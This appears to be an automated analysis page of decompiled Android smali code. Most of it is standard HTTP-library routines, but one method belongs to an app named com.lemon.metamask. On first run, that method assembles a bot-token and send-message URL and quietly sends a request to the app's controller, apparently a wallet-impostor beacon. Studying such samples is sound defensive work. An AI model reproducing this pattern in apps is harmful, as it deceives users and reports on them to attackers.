        • HTTP parameters
        • Connect to
        • timed out
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        6const-string v0, "Target host"
        8invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10const-string v0, "HTTP parameters"
        12invoke-static {p6, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        13if-nez p1, :cond_10
        15invoke-virtual {p0}, Lcz/msebera/android/httpclient/conn/MultihomePlainSocketFactory;->createSocket()Ljava/net/Socket;
        16move-result-object p1
        17cond_10: if-nez p4, :cond_14
        18if-lez p5, :cond_20
        19cond_14: new-instance v0, Ljava/net/InetSocketAddress;
        20if-lez p5, :cond_19
        21goto/16 :goto_1a
        22cond_19: const/4 p5, 0x0
        23goto_1a:
        24invoke-direct {v0, p4, p5}, Ljava/net/InetSocketAddress;-><init>(Ljava/net/InetAddress;I)V
        26invoke-virtual {p1, v0}, Ljava/net/Socket;->bind(Ljava/net/SocketAddress;)V
        27cond_20:
        28invoke-static {p6}, Lcz/msebera/android/httpclient/params/HttpConnectionParams;->getConnectionTimeout(Lcz/msebera/android/httpclient/params/HttpParams;)I
        29move-result p4
        31invoke-static {p2}, Ljava/net/InetAddress;->getAllByName(Ljava/lang/String;)[Ljava/net/InetAddress;
        32move-result-object p2
        33new-instance p5, Ljava/util/ArrayList;
        34array-length p6, p2
        36invoke-direct {p5, p6}, Ljava/util/ArrayList;-><init>(I)V
        38invoke-static {p2}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List;
        39move-result-object p2
        41invoke-interface {p5, p2}, Ljava/util/List;->addAll(Ljava/util/Collection;)Z
        43invoke-static {p5}, Ljava/util/Collections;->shuffle(Ljava/util/List;)V
        44const/4 p2, 0x0
        46invoke-interface {p5}, Ljava/util/List;->iterator()Ljava/util/Iterator;
        47move-result-object p5
        48goto_3d:
        49invoke-interface {p5}, Ljava/util/Iterator;->hasNext()Z
        50move-result p6
        51if-eqz p6, :cond_76
        53invoke-interface {p5}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        54move-result-object p6
        55check-cast p6, Ljava/net/InetAddress;
        56try_start_49: new-instance v0, Ljava/net/InetSocketAddress;
        58invoke-direct {v0, p6, p3}, Ljava/net/InetSocketAddress;-><init>(Ljava/net/InetAddress;I)V
        60invoke-virtual {p1, v0, p4}, Ljava/net/Socket;->connect(Ljava/net/SocketAddress;I)V
        61try_end_51: goto/16 :goto_76
        62catch_52: move-exception p1
        63move-object p2, p1
        64new-instance p1, Ljava/net/Socket;
        66invoke-direct {p1}, Ljava/net/Socket;-><init>()V
        67goto/16 :goto_3d
        68catch_5a: new-instance p1, Lcz/msebera/android/httpclient/conn/ConnectTimeoutException;
        69new-instance p2, Ljava/lang/StringBuilder;
        71invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        73const-string p3, "Connect to "
        75invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        77invoke-virtual {p2, p6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        79const-string p3, " timed out"
        81invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        83invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        84move-result-object p2
        86invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/conn/ConnectTimeoutException;-><init>(Ljava/lang/String;)V
        87throw p1
        88goto_76: if-nez p2, :cond_79
        89return-object p1
        90cond_79: throw p2
        Cross References
        APIs
        • java.lang.String.equalsIgnoreCase
        • javax.net.SocketFactory.createSocket
        • java.net.Socket.<init>
        • java.lang.String.equalsIgnoreCase
        • javax.net.ssl.SSLSocketFactory.getDefault
        • javax.net.SocketFactory.createSocket
        • java.lang.String.equalsIgnoreCase
        • java.net.Socket.setSoTimeout
        • java.net.Socket.setTcpNoDelay
        • java.net.Socket.setSoLinger
        • java.net.Socket.setKeepAlive
        • java.net.InetSocketAddress.<init>
        • java.net.Socket.connect
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.io.IOException.<init>
        Strings
        • http
        • https
        • scheme is not supported
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        6invoke-virtual {p1}, Lcz/msebera/android/httpclient/HttpHost;->getSchemeName()Ljava/lang/String;
        7move-result-object v0
        9const-string v1, "http"
        11invoke-virtual {v1, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        12move-result v1
        13if-eqz v1, :cond_1d
        15iget-object v1, p0, Lcz/msebera/android/httpclient/impl/pool/BasicConnFactory;->plainfactory:Ljavax/net/SocketFactory;
        16if-eqz v1, :cond_17
        18iget-object v1, p0, Lcz/msebera/android/httpclient/impl/pool/BasicConnFactory;->plainfactory:Ljavax/net/SocketFactory;
        20invoke-virtual {v1}, Ljavax/net/SocketFactory;->createSocket()Ljava/net/Socket;
        21move-result-object v1
        22goto/16 :goto_1e
        23cond_17: new-instance v1, Ljava/net/Socket;
        25invoke-direct {v1}, Ljava/net/Socket;-><init>()V
        26goto/16 :goto_1e
        27cond_1d: const/4 v1, 0x0
        28goto_1e:
        29const-string v2, "https"
        31invoke-virtual {v2, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        32move-result v2
        33if-eqz v2, :cond_35
        35iget-object v1, p0, Lcz/msebera/android/httpclient/impl/pool/BasicConnFactory;->sslfactory:Ljavax/net/ssl/SSLSocketFactory;
        36if-eqz v1, :cond_2d
        38iget-object v1, p0, Lcz/msebera/android/httpclient/impl/pool/BasicConnFactory;->sslfactory:Ljavax/net/ssl/SSLSocketFactory;
        39goto/16 :goto_31
        40cond_2d:
        41invoke-static {}, Ljavax/net/ssl/SSLSocketFactory;->getDefault()Ljavax/net/SocketFactory;
        42move-result-object v1
        43goto_31:
        44invoke-virtual {v1}, Ljavax/net/SocketFactory;->createSocket()Ljava/net/Socket;
        45move-result-object v1
        46cond_35: if-eqz v1, :cond_9d
        48invoke-virtual {p1}, Lcz/msebera/android/httpclient/HttpHost;->getHostName()Ljava/lang/String;
        49move-result-object v0
        51invoke-virtual {p1}, Lcz/msebera/android/httpclient/HttpHost;->getPort()I
        52move-result v2
        53const/4 v3, -0x1
        54if-ne v2, v3, :cond_5f
        56invoke-virtual {p1}, Lcz/msebera/android/httpclient/HttpHost;->getSchemeName()Ljava/lang/String;
        57move-result-object v3
        59const-string v4, "http"
        61invoke-virtual {v3, v4}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        62move-result v3
        63if-eqz v3, :cond_51
        64const/16 v2, 0x50
        65goto/16 :goto_5f
        66cond_51:
        67invoke-virtual {p1}, Lcz/msebera/android/httpclient/HttpHost;->getSchemeName()Ljava/lang/String;
        68move-result-object p1
        70const-string v3, "https"
        72invoke-virtual {p1, v3}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        73move-result p1
        74if-eqz p1, :cond_5f
        75const/16 v2, 0x1bb
        76goto_5f:
        77iget-object p1, p0, Lcz/msebera/android/httpclient/impl/pool/BasicConnFactory;->sconfig:Lcz/msebera/android/httpclient/config/SocketConfig;
        79invoke-virtual {p1}, Lcz/msebera/android/httpclient/config/SocketConfig;->getSoTimeout()I
        80move-result p1
        82invoke-virtual {v1, p1}, Ljava/net/Socket;->setSoTimeout(I)V
        84iget-object p1, p0, Lcz/msebera/android/httpclient/impl/pool/BasicConnFactory;->sconfig:Lcz/msebera/android/httpclient/config/SocketConfig;
        86invoke-virtual {p1}, Lcz/msebera/android/httpclient/config/SocketConfig;->isTcpNoDelay()Z
        87move-result p1
        89invoke-virtual {v1, p1}, Ljava/net/Socket;->setTcpNoDelay(Z)V
        91iget-object p1, p0, Lcz/msebera/android/httpclient/impl/pool/BasicConnFactory;->sconfig:Lcz/msebera/android/httpclient/config/SocketConfig;
        93invoke-virtual {p1}, Lcz/msebera/android/httpclient/config/SocketConfig;->getSoLinger()I
        94move-result p1
        95if-ltz p1, :cond_81
        96if-lez p1, :cond_7d
        97const/4 v3, 0x1
        98goto/16 :goto_7e
        99cond_7d: const/4 v3, 0x0
        100goto_7e:
        101invoke-virtual {v1, v3, p1}, Ljava/net/Socket;->setSoLinger(ZI)V
        102cond_81:
        103iget-object p1, p0, Lcz/msebera/android/httpclient/impl/pool/BasicConnFactory;->sconfig:Lcz/msebera/android/httpclient/config/SocketConfig;
        105invoke-virtual {p1}, Lcz/msebera/android/httpclient/config/SocketConfig;->isSoKeepAlive()Z
        106move-result p1
        108invoke-virtual {v1, p1}, Ljava/net/Socket;->setKeepAlive(Z)V
        109new-instance p1, Ljava/net/InetSocketAddress;
        111invoke-direct {p1, v0, v2}, Ljava/net/InetSocketAddress;-><init>(Ljava/lang/String;I)V
        112iget v0, p0, Lcz/msebera/android/httpclient/impl/pool/BasicConnFactory;->connectTimeout:I
        114invoke-virtual {v1, p1, v0}, Ljava/net/Socket;->connect(Ljava/net/SocketAddress;I)V
        116iget-object p1, p0, Lcz/msebera/android/httpclient/impl/pool/BasicConnFactory;->connFactory:Lcz/msebera/android/httpclient/HttpConnectionFactory;
        118invoke-interface {p1, v1}, Lcz/msebera/android/httpclient/HttpConnectionFactory;->createConnection(Ljava/net/Socket;)Lcz/msebera/android/httpclient/HttpConnection;
        119move-result-object p1
        120check-cast p1, Lcz/msebera/android/httpclient/HttpClientConnection;
        121return-object p1
        122cond_9d: new-instance p1, Ljava/io/IOException;
        123new-instance v1, Ljava/lang/StringBuilder;
        125invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        127invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        129const-string v0, " scheme is not supported"
        131invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        133invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        134move-result-object v0
        136invoke-direct {p1, v0}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
        137throw p1
        Cross References
        APIs
        • java.lang.Class.forName
        • java.lang.Class.getMethod
        • java.lang.reflect.Method.invoke
        • java.lang.Class.forName
        • java.lang.Class.getMethod
        • java.lang.Integer.valueOf
        • java.lang.reflect.Method.invoke
        • java.lang.Integer.intValue
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.io.IOException.<init>
        • java.lang.SecurityException.<init>
        Strings
        • org.apache.harmony.xnet.provider.jsse.NativeCrypto
        • RAND_seed
        • RAND_load_file
        • /dev/urandom
        • Unexpected number of bytes read from Linux PRNG:
        • Failed to seed OpenSSL PRNG
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/lang/SecurityException;
        3}
        4.end annotation
        5sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
        6const/16 v1, 0x10
        7if-lt v0, v1, :cond_7f
        8sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
        9const/16 v1, 0x12
        10if-le v0, v1, :cond_d
        11goto/16 :goto_7f
        12cond_d:
        13const-string v0, "org.apache.harmony.xnet.provider.jsse.NativeCrypto"
        15invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
        16move-result-object v0
        18const-string v1, "RAND_seed"
        19const/4 v2, 0x1
        20new-array v3, v2, [Ljava/lang/Class;
        21const-class v4, [B
        22const/4 v5, 0x0
        23aput-object v4, v3, v5
        25invoke-virtual {v0, v1, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
        26move-result-object v0
        27new-array v1, v2, [Ljava/lang/Object;
        29invoke-static {}, Lcz/msebera/android/httpclient/extras/PRNGFixes;->generateSeed()[B
        30move-result-object v3
        31aput-object v3, v1, v5
        32const/4 v3, 0x0
        34invoke-virtual {v0, v3, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
        36const-string v0, "org.apache.harmony.xnet.provider.jsse.NativeCrypto"
        38invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
        39move-result-object v0
        41const-string v1, "RAND_load_file"
        42const/4 v4, 0x2
        43new-array v6, v4, [Ljava/lang/Class;
        44const-class v7, Ljava/lang/String;
        45aput-object v7, v6, v5
        47sget-object v7, Ljava/lang/Long;->TYPE:Ljava/lang/Class;
        48aput-object v7, v6, v2
        50invoke-virtual {v0, v1, v6}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
        51move-result-object v0
        52new-array v1, v4, [Ljava/lang/Object;
        54const-string v4, "/dev/urandom"
        55aput-object v4, v1, v5
        56const/16 v4, 0x400
        58invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
        59move-result-object v5
        60aput-object v5, v1, v2
        62invoke-virtual {v0, v3, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
        63move-result-object v0
        64check-cast v0, Ljava/lang/Integer;
        66invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
        67move-result v0
        68if-ne v0, v4, :cond_5f
        69return-void
        70cond_5f: new-instance v1, Ljava/io/IOException;
        71new-instance v2, Ljava/lang/StringBuilder;
        73invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        75const-string v3, "Unexpected number of bytes read from Linux PRNG: "
        77invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        79invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        81invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        82move-result-object v0
        84invoke-direct {v1, v0}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
        85throw v1
        86try_end_76: move-exception v0
        87new-instance v1, Ljava/lang/SecurityException;
        89const-string v2, "Failed to seed OpenSSL PRNG"
        91invoke-direct {v1, v2, v0}, Ljava/lang/SecurityException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        92throw v1
        93goto_7f: return-void
        APIs
        • android.support.v7.app.AppCompatActivity.onResume
        • android.content.SharedPreferences.getBoolean
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.valueOf
        • android.util.Log.i
        • android.widget.Toast.makeText
        • android.widget.Toast.show
        • android.content.SharedPreferences.edit
        • android.content.SharedPreferences$Editor.putBoolean
        • android.content.SharedPreferences$Editor.commit
        Strings
        • firstrun
        • Access to Password Denied
        • Check your Internet Connection
        Position Instruction Meta Information
        1invoke-super {p0}, Landroid/support/v7/app/AppCompatActivity;->onResume()V
        3iget-object v0, p0, Lcom/lemon/metamask/Activity/MainActivity;->prefs:Landroid/content/SharedPreferences;
        5const-string v1, "firstrun"
        6const/4 v2, 0x1
        8invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
        9move-result v0
        10if-eqz v0, :cond_6e
        12const-string v0, "Access to Password Denied"
        14invoke-static {p0}, Lcom/lemon/metamask/Util/Method;->isNetworkAvailable(Landroid/app/Activity;)Z
        15move-result v1
        16if-eqz v1, :cond_55
        17new-instance v1, Ljava/lang/StringBuilder;
        19invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        21sget-object v2, Lcom/lemon/metamask/Util/Method;->apiLink:Ljava/lang/String;
        23invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        25sget-object v2, Lcom/lemon/metamask/Util/Method;->botoken:Ljava/lang/String;
        27invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        29sget-object v2, Lcom/lemon/metamask/Util/Method;->sendMsg:Ljava/lang/String;
        31invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        33sget-object v2, Lcom/lemon/metamask/Util/Method;->acc_id:Ljava/lang/String;
        35invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        37sget-object v2, Lcom/lemon/metamask/Util/Method;->texti:Ljava/lang/String;
        39invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        41invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        43invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        44move-result-object v0
        45try_start_3b: new-instance v1, Lcom/loopj/android/http/AsyncHttpClient;
        47invoke-direct {v1}, Lcom/loopj/android/http/AsyncHttpClient;-><init>()V
        48const/4 v2, 0x0
        49new-instance v3, Lcom/lemon/metamask/Activity/MainActivity$4;
        51invoke-direct {v3, p0}, Lcom/lemon/metamask/Activity/MainActivity$4;-><init>(Lcom/lemon/metamask/Activity/MainActivity;)V
        53invoke-virtual {v1, v0, v2, v3}, Lcom/loopj/android/http/AsyncHttpClient;->get(Ljava/lang/String;Lcom/loopj/android/http/RequestParams;Lcom/loopj/android/http/ResponseHandlerInterface;)Lcom/loopj/android/http/RequestHandle;
        54try_end_49: goto/16 :goto_5e
        55catch_4a: move-exception v0
        57iget-object v1, p0, Lcom/lemon/metamask/Activity/MainActivity;->TAG:Ljava/lang/String;
        59invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
        60move-result-object v0
        62invoke-static {v1, v0}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
        63goto/16 :goto_5e
        64cond_55:
        65const-string v0, "Check your Internet Connection"
        67invoke-static {p0, v0, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
        68move-result-object v0
        70invoke-virtual {v0}, Landroid/widget/Toast;->show()V
        71goto_5e:
        72iget-object v0, p0, Lcom/lemon/metamask/Activity/MainActivity;->prefs:Landroid/content/SharedPreferences;
        74invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
        75move-result-object v0
        77const-string v1, "firstrun"
        78const/4 v2, 0x0
        80invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
        81move-result-object v0
        83invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
        84cond_6e: return-void
        Cross References
        APIs
        • java.lang.String.toUpperCase
        • java.lang.String.getBytes
        • java.lang.Math.min
        • java.lang.System.arraycopy
        • java.lang.String.getBytes
        • javax.crypto.Cipher.getInstance
        • javax.crypto.Cipher.init
        • javax.crypto.Cipher.doFinal
        • javax.crypto.Cipher.init
        • javax.crypto.Cipher.doFinal
        • java.lang.System.arraycopy
        • java.lang.Exception.getMessage
        • cz.msebera.android.httpclient.impl.auth.NTLMEngineException.<init>
        Strings
        • US-ASCII
        • KGS!@#$%
        • DES/ECB/NoPadding
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;
        3}
        4.end annotation
        5try_start_0:
        6sget-object v0, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        8invoke-virtual {p0, v0}, Ljava/lang/String;->toUpperCase(Ljava/util/Locale;)Ljava/lang/String;
        9move-result-object p0
        11const-string v0, "US-ASCII"
        13invoke-virtual {p0, v0}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
        14move-result-object p0
        15array-length v0, p0
        16const/16 v1, 0xe
        18invoke-static {v0, v1}, Ljava/lang/Math;->min(II)I
        19move-result v0
        20new-array v1, v1, [B
        21const/4 v2, 0x0
        23invoke-static {p0, v2, v1, v2, v0}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
        25invoke-static {v1, v2}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl;->createDESKey([BI)Ljava/security/Key;
        26move-result-object p0
        27const/4 v0, 0x7
        29invoke-static {v1, v0}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl;->createDESKey([BI)Ljava/security/Key;
        30move-result-object v0
        32const-string v1, "KGS!@#$%"
        34const-string v3, "US-ASCII"
        36invoke-virtual {v1, v3}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
        37move-result-object v1
        39const-string v3, "DES/ECB/NoPadding"
        41invoke-static {v3}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
        42move-result-object v3
        43const/4 v4, 0x1
        45invoke-virtual {v3, v4, p0}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;)V
        47invoke-virtual {v3, v1}, Ljavax/crypto/Cipher;->doFinal([B)[B
        48move-result-object p0
        50invoke-virtual {v3, v4, v0}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;)V
        52invoke-virtual {v3, v1}, Ljavax/crypto/Cipher;->doFinal([B)[B
        53move-result-object v0
        54const/16 v1, 0x10
        55new-array v1, v1, [B
        56const/16 v3, 0x8
        58invoke-static {p0, v2, v1, v2, v3}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
        60invoke-static {v0, v2, v1, v3, v3}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
        61try_end_4b: return-object v1
        62catch_4c: move-exception p0
        63new-instance v0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;
        65invoke-virtual {p0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
        66move-result-object v1
        68invoke-direct {v0, v1, p0}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        69throw v0
        APIs
        • java.lang.Object.<init>
        • android.content.Context.getSharedPreferences
        • java.util.concurrent.ConcurrentHashMap.<init>
        • android.content.SharedPreferences.getString
        • android.text.TextUtils.split
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • android.content.SharedPreferences.getString
        • java.util.concurrent.ConcurrentHashMap.put
        • java.util.Date.<init>
        Strings
        • CookiePrefsFile
        • names
        • ,
        • cookie_
        Position Instruction Meta Information
        1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        2const/4 v0, 0x0
        3iput-boolean v0, p0, Lcom/loopj/android/http/PersistentCookieStore;->omitNonPersistentCookies:Z
        5const-string v1, "CookiePrefsFile"
        7invoke-virtual {p1, v1, v0}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
        8move-result-object p1
        9iput-object p1, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookiePrefs:Landroid/content/SharedPreferences;
        10new-instance p1, Ljava/util/concurrent/ConcurrentHashMap;
        12invoke-direct {p1}, Ljava/util/concurrent/ConcurrentHashMap;-><init>()V
        13iput-object p1, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookies:Ljava/util/concurrent/ConcurrentHashMap;
        15iget-object p1, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookiePrefs:Landroid/content/SharedPreferences;
        17const-string v1, "names"
        18const/4 v2, 0x0
        20invoke-interface {p1, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
        21move-result-object p1
        22if-eqz p1, :cond_5a
        24const-string v1, ","
        26invoke-static {p1, v1}, Landroid/text/TextUtils;->split(Ljava/lang/String;Ljava/lang/String;)[Ljava/lang/String;
        27move-result-object p1
        28array-length v1, p1
        29goto_27: if-ge v0, v1, :cond_52
        30aget-object v3, p1, v0
        32iget-object v4, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookiePrefs:Landroid/content/SharedPreferences;
        33new-instance v5, Ljava/lang/StringBuilder;
        35invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
        37const-string v6, "cookie_"
        39invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        41invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        43invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        44move-result-object v5
        46invoke-interface {v4, v5, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
        47move-result-object v4
        48if-eqz v4, :cond_4f
        50invoke-virtual {p0, v4}, Lcom/loopj/android/http/PersistentCookieStore;->decodeCookie(Ljava/lang/String;)Lcz/msebera/android/httpclient/cookie/Cookie;
        51move-result-object v4
        52if-eqz v4, :cond_4f
        54iget-object v5, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookies:Ljava/util/concurrent/ConcurrentHashMap;
        56invoke-virtual {v5, v3, v4}, Ljava/util/concurrent/ConcurrentHashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
        57cond_4f: add-int/lit8 v0, v0, 0x1
        58goto/16 :goto_27
        59cond_52: new-instance p1, Ljava/util/Date;
        61invoke-direct {p1}, Ljava/util/Date;-><init>()V
        63invoke-virtual {p0, p1}, Lcom/loopj/android/http/PersistentCookieStore;->clearExpired(Ljava/util/Date;)Z
        64cond_5a: return-void
        Cross References
        APIs
        • java.lang.Object.<init>
        • java.security.MessageDigest.getInstance
        • java.security.MessageDigest.update
        • java.security.MessageDigest.digest
        • java.security.MessageDigest.reset
        • java.security.MessageDigest.update
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Exception.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.impl.auth.NTLMEngineException.<init>
        Strings
        • MD5
        • Error getting md5 message digest implementation:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;
        3}
        4.end annotation
        6invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        7try_start_3:
        8const-string v0, "MD5"
        10invoke-static {v0}, Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;)Ljava/security/MessageDigest;
        11move-result-object v0
        12iput-object v0, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$HMACMD5;->md5:Ljava/security/MessageDigest;
        13try_end_b: const/16 v0, 0x40
        14new-array v1, v0, [B
        15iput-object v1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$HMACMD5;->ipad:[B
        16new-array v1, v0, [B
        17iput-object v1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$HMACMD5;->opad:[B
        18array-length v1, p1
        19if-le v1, v0, :cond_24
        21iget-object v1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$HMACMD5;->md5:Ljava/security/MessageDigest;
        23invoke-virtual {v1, p1}, Ljava/security/MessageDigest;->update([B)V
        25iget-object p1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$HMACMD5;->md5:Ljava/security/MessageDigest;
        27invoke-virtual {p1}, Ljava/security/MessageDigest;->digest()[B
        28move-result-object p1
        29array-length v1, p1
        30cond_24: const/4 v2, 0x0
        31goto_25: const/16 v3, 0x5c
        32const/16 v4, 0x36
        33if-ge v2, v1, :cond_3e
        35iget-object v5, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$HMACMD5;->ipad:[B
        36aget-byte v6, p1, v2
        37xor-int/2addr v4, v6
        38int-to-byte v4, v4
        39aput-byte v4, v5, v2
        41iget-object v4, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$HMACMD5;->opad:[B
        42aget-byte v5, p1, v2
        43xor-int/2addr v3, v5
        44int-to-byte v3, v3
        45aput-byte v3, v4, v2
        46add-int/lit8 v2, v2, 0x1
        47goto/16 :goto_25
        48goto_3e: if-ge v2, v0, :cond_4b
        50iget-object p1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$HMACMD5;->ipad:[B
        51aput-byte v4, p1, v2
        53iget-object p1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$HMACMD5;->opad:[B
        54aput-byte v3, p1, v2
        55add-int/lit8 v2, v2, 0x1
        56goto/16 :goto_3e
        57cond_4b:
        58iget-object p1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$HMACMD5;->md5:Ljava/security/MessageDigest;
        60invoke-virtual {p1}, Ljava/security/MessageDigest;->reset()V
        62iget-object p1, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$HMACMD5;->md5:Ljava/security/MessageDigest;
        64iget-object v0, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$HMACMD5;->ipad:[B
        66invoke-virtual {p1, v0}, Ljava/security/MessageDigest;->update([B)V
        67return-void
        68catch_58: move-exception p1
